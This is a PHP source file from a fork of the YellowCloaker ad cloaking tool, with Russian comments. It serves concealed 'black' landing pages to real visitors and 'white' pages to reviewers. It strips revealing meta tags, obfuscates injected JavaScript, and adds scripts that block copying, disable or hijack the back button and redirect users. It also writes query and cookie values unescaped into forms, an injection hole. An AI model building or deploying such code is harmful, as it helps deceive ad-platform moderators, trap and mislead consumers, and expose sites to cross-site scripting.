forked from dvygolov/YellowCloaker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhtmlprocessing.php
353 lines (302 loc) · 14 KB
/
htmlprocessing.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
<?php
require_once 'js/obfuscator.php';
require_once 'bases/ipcountry.php';
require_once 'requestfunc.php';
require_once 'pixels.php';
require_once 'htmlinject.php';
require_once 'url.php';
//Подгрузка контента блэк проклы из другой папки через CURL
function load_prelanding($url, $land_number)
{
global $fb_use_pageview, $fb_use_viewcontent, $fb_view_content_time, $fb_view_content_percent;
global $replace_prelanding, $replace_prelanding_address;
$fullpath = get_abs_from_rel($url);
$fpwqs = get_abs_from_rel($url,true);
$html=get_html($fpwqs);
$html=remove_scrapbook($html);
$html=remove_from_html($html,'removepreland.html');
$html=insert_after_tag($html,"<head","<base href='".$fullpath."'>");
//добавляем в страницу скрипт GTM
$html = insert_gtm_script($html);
//добавляем в страницу скрипт Yandex Metrika
$html = insert_yandex_script($html);
$fb_pixel = get_fbpixel();
if (!empty($fb_pixel)){
//добавляем в страницу скрипт Facebook Pixel с событием PageView
if ($fb_use_pageview){
$html = insert_fbpixel_script($html, 'PageView');
}
if ($fb_use_viewcontent){
if ($fb_view_content_time>0){
$html= insert_file_content_with_replace($html,'fbpxviewcontenttime.js','</head>',['{SECONDS}','{PAGE}'],[$fb_view_content_time,$url]);
}
if ($fb_view_content_percent>0){
$html= insert_file_content_with_replace($html,'fbpxviewcontentpercent.js','</head>',['{PERCENT}','{PAGE}'],[$fb_view_content_percent,$url]);
}
}
}
$html = replace_city_macros($html);
$html = replace_tel_type($html);
$html = insert_phone_mask($html);
//добавляем во все формы сабы
$html = insert_subs_into_forms($html);
//добавляем в формы id пикселя фб
$html = insert_fbpixel_id($html);
$domain = get_domain_with_prefix();
$querystr = $_SERVER['QUERY_STRING'];
//замена всех ссылок на прокле на универсальную ссылку ленда landing.php
$replacement = "\\1".$domain.'/landing.php?l='.$land_number.(!empty($querystr)?'&'.$querystr:'');
//если мы будем подменять преленд при переходе на ленд, то ленд надо открывать в новом окне
if ($replace_prelanding) {
$replacement=$replacement.'" target="_blank"';
$url = replace_all_macros($replace_prelanding_address); //заменяем макросы
$url = add_subs_to_link($url); //добавляем сабы
$html = insert_file_content_with_replace($html, 'replaceprelanding.js', '</body>', '{REDIRECT}', $url);
}
$html = preg_replace('/(<a[^>]+href=")([^"]*)/', $replacement, $html);
$html = insert_additional_scripts($html);
return $html;
}
//Подгрузка контента блэк ленда из другой папки через CURL
function load_landing($url)
{
global $fb_use_pageview,$fb_thankyou_event,$fb_add_button_pixel;
global $fb_use_viewcontent, $fb_view_content_time, $fb_view_content_percent;
global $black_land_log_conversions_on_button_click,$black_land_use_custom_thankyou_page;
global $replace_landing, $replace_landing_address;
$fullpath = get_abs_from_rel($url);
$fpwqs = get_abs_from_rel($url,true);
$html=get_html($fpwqs);
$html=remove_scrapbook($html);
$html=remove_from_html($html,'removeland.html');
$html=insert_after_tag($html,"<head","<base href='".$fullpath."'>");
if($black_land_use_custom_thankyou_page===true){
//меняем обработчик формы, чтобы у вайта и блэка была одна thankyou page
$html = preg_replace('/\saction=[\'\"]([^\'\"]*)[\'\"]/', " action=\"../send.php?".http_build_query($_GET)."\"", $html);
}
//если мы будем подменять ленд при переходе на страницу Спасибо, то Спасибо надо открывать в новом окне
if ($replace_landing) {
$replacelandurl = replace_all_macros($replace_landing_address); //заменяем макросы
$replacelandurl = add_subs_to_link($replacelandurl); //добавляем сабы
$html = insert_file_content_with_replace($html, 'replacelanding.js', '</body>', '{REDIRECT}', $replacelandurl);
}
//добавляем в страницу скрипт GTM
$html = insert_gtm_script($html);
//добавляем в страницу скрипт Yandex Metrika
$html = insert_yandex_script($html);
$fb_pixel = get_fbpixel();
if (!empty($fb_pixel)){
//добавляем в страницу скрипт Facebook Pixel с событием PageView
if ($fb_use_pageview) {
$html = insert_fbpixel_script($html, 'PageView');
}
else if ($fb_add_button_pixel){
$html = insert_fbpixel_script($html, '');
}
if ($fb_use_viewcontent){
if ($fb_view_content_time>0){
$html= insert_file_content_with_replace($html,'fbpxviewcontenttime.js','</head>',['{SECONDS}','{PAGE}'],[$fb_view_content_time,$url]);
}
if ($fb_view_content_percent>0){
$html= insert_file_content_with_replace($html,'fbpxviewcontentpercent.js','</head>',['{PERCENT}','{PAGE}'],[$fb_view_content_percent,$url]);
}
}
if ($fb_add_button_pixel){
$html= insert_file_content_with_replace($html,'fbpxbuttonconversion.js','</head>','{EVENT}',$fb_thankyou_event);
}
}
if ($black_land_log_conversions_on_button_click){
$html= insert_file_content($html,'btnclicklog.js','</head>');
}
$html = insert_additional_scripts($html);
//добавляем во все формы сабы
$html = insert_subs_into_forms($html);
//добавляем в формы id пикселя фб
$html = insert_fbpixel_id($html);
$html = fix_anchors($html);
$html = replace_city_macros($html);
//заменяем поле с телефоном на более удобный тип - tel
$html = replace_tel_type($html);
$html = insert_phone_mask($html);
return $html;
}
//добавляем доп.скрипты
function insert_additional_scripts($html)
{
global $disable_text_copy, $back_button_action, $replace_back_button, $replace_back_address, $add_tos;
global $comebacker, $callbacker, $addedtocart;
if ($disable_text_copy) {
$html = insert_file_content($html, 'disablecopy.js', '</body>');
}
switch($back_button_action){
case 'disable':
$html = insert_file_content($html, 'disableback.js', '</body>');
break;
case 'replace':
$url= replace_all_macros($replace_back_address); //заменяем макросы
$url = add_subs_to_link($url); //добавляем сабы
$html = insert_file_content_with_replace($html, 'replaceback.js', '</body>', '{RA}', $url);
break;
}
if ($add_tos) {
$html = insert_file_content($html, 'tos.html', '</body>');
}
if ($callbacker){
$html = insert_file_content($html,'callbacker/head.html','</head>');
$html = insert_file_content($html,'callbacker/template.html','</body>');
}
if ($comebacker){
$html = insert_file_content($html,'comebacker/head.html','</head>');
$html = insert_file_content($html,'comebacker/template.html','</body>');
}
if ($addedtocart){
$html = insert_file_content($html,'addedtocart/head.html','</head>');
$html = insert_file_content($html,'addedtocart/template.html','</body>');
}
return $html;
}
//если тип поля телефона - text, меняем его на tel для более удобного ввода с мобильных
function replace_tel_type($html)
{
$html = preg_replace('/(<input[^>]*name="(phone|tel)"[^>]*type=")(text)("[^>]*>)/', "\\1tel\\4", $html);
$html = preg_replace('/(<input[^>]*type=")(text)("[^>]*name="(phone|tel)"[^>]*>)/', "\\1tel\\3", $html);
return $html;
}
function replace_city_macros($html){
$ip = getip();
$html=preg_replace_callback('/\{CITY,([^\}]+)\}/',function ($m) use($ip){return getcity($ip,$m[1]);},$html);
return $html;
}
function fix_anchors($html){
$html = preg_replace('/(<a[^>]+href=")(#[^"]*)/', "\\1../\\2", $html);
return $html;
}
function insert_phone_mask($html)
{
global $black_land_use_phone_mask,$black_land_phone_mask;
if (!$black_land_use_phone_mask) return $html;
$domain = get_domain_with_prefix();
$html = insert_before_tag($html, '</head>', "<script src=\"".$domain."/scripts/inputmask.js\"></script>");
$html = insert_file_content_with_replace($html,'inputmaskbinding.js','</body>','{MASK}',$black_land_phone_mask);
return $html;
}
//Подгрузка контента вайта ИЗ ПАПКИ
function load_white_content($url, $add_js_check)
{
global $fb_use_pageview;
$fullpath = get_abs_from_rel($url,true);
$html = get_html($fullpath);
$baseurl = '/'.$url.'/';
//переписываем все относительные src и href (не начинающиеся с http)
$html = rewrite_relative_urls($html,$baseurl);
//добавляем в страницу скрипт GTM
$html = insert_gtm_script($html);
//добавляем в страницу скрипт Yandex Metrika
$html = insert_yandex_script($html);
//добавляем в страницу скрипт Facebook Pixel с событием PageView
if ($fb_use_pageview) {
$html = insert_fbpixel_script($html, 'PageView');
}
//если на вайте есть форма, то меняем её обработчик, чтобы у вайта и блэка была одна thankyou page
$html = preg_replace('/\saction=[\'\"]([^\'\"]+)[\'\"]/', " action=\"../worder.php?".http_build_query($_GET)."\"", $html);
//добавляем в <head> пару доп. метатегов
$html= str_replace('<head>', '<head><meta name="referrer" content="no-referrer"><meta name="robots" content="noindex, nofollow">', $html);
$html= remove_scrapbook($html);
if ($add_js_check) {
$html = add_js_testcode($html);
}
return $html;
}
//когда подгружаем вайт методом CURL
function load_white_curl($url, $add_js_check)
{
$html=get_html($url,true,true);
$html = rewrite_relative_urls($html,$url);
//удаляем лишние палящие теги
$html = preg_replace('/(<meta property=\"og:url\" [^>]+>)/', "", $html);
$html = preg_replace('/(<link rel=\"canonical\" [^>]+>)/', "", $html);
//добавляем в страницу скрипт Facebook Pixel
$html = insert_fbpixel_script($html, 'PageView');
//добавляем в <head> пару доп. метатегов
$html= str_replace('<head>', '<head><meta name="referrer" content="no-referrer"><meta name="robots" content="noindex, nofollow">', $html);
if ($add_js_check) {
$html = add_js_testcode($html);
}
return $html;
}
function load_js_testpage()
{
$test_page= file_get_contents(__DIR__.'/js/testpage.html');
return add_js_testcode($test_page);
}
function add_js_testcode($html)
{
global $js_obfuscate;
$port = get_port();
$jsCode= str_replace('{DOMAIN}', $_SERVER['SERVER_NAME'].":".$port, file_get_contents(__DIR__.'/js/connect.js'));
if ($js_obfuscate) {
$hunter = new HunterObfuscator($jsCode);
$jsCode = $hunter->Obfuscate();
}
$needle = '</body>';
if (strpos($html,$needle)===false) $needle = '</html>';
return str_replace($needle, "<script id='connect'>".$jsCode."</script>".$needle, $html);
}
//вставляет все сабы в hidden полях каждой формы
function insert_subs_into_forms($html)
{
global $sub_ids;
$all_subs = '';
$preset=['subid','prelanding','landing'];
foreach ($sub_ids as $sub) {
$key = $sub["name"];
$value = $sub["rewrite"];
if (in_array($key,$preset)&& isset($_COOKIE[$key])) {
$all_subs = $all_subs.'<input type="hidden" name="'.$value.'" value="'.$_COOKIE[$key].'"/>';
} elseif (!empty($_GET[$key])) {
$all_subs = $all_subs.'<input type="hidden" name="'.$value.'" value="'.$_GET[$key].'"/>';
}
}
$needle = '<form';
return insert_after_tag($html, $needle, $all_subs);
}
//переписываем все относительные src и href (не начинающиеся с http или с //)
function rewrite_relative_urls($html,$url)
{
$modified = preg_replace('/\ssrc=[\'\"](?!http|\/\/)([^\'\"]+)[\'\"]/', " src=\"$url\\1\"", $html);
$modified = preg_replace('/\shref=[\'\"](?!http|#|\/\/)([^\'\"]+)[\'\"]/', " href=\"$url\\1\"", $modified);
$modified = preg_replace('/background-image:\s*url\((?!http|#|\/\/)([^\)]+)\)/', "background-image: url($url\\1)", $modified);
return $modified;
}
function remove_scrapbook($html){
$modified = preg_replace('/data\-scrapbook\-source=[\'\"][^\'\"]+[\'\"]/', '', $html);
$modified = preg_replace('/data\-scrapbook\-create=[\'\"][^\'\"]+[\'\"]/', '', $modified);
return $modified;
}
function remove_from_html($html,$filename){
$remove_file_name=__DIR__.'/scripts/'.$filename;
if (!file_exists($remove_file_name)) {
echo 'File Not Found '.$remove_file_name;
return $html;
}
$modified=$html;
foreach(file($remove_file_name) as $line){
$linetype=substr(trim($line), -3);
$l=trim($line);
switch($linetype){
case '.js':
$r="/<script.*?".$l.".*?script>/";
$modified=preg_replace($r,'',$modified);
break;
case 'css':
$r="/<link.*?rel=[\'\"]stylesheet.*?".$l."[^>]*>/";
$modified=preg_replace($r,'',$modified);
break;
default:
$modified=str_replace(trim($line),'',$modified);
break;
}
}
return $modified;
}
?>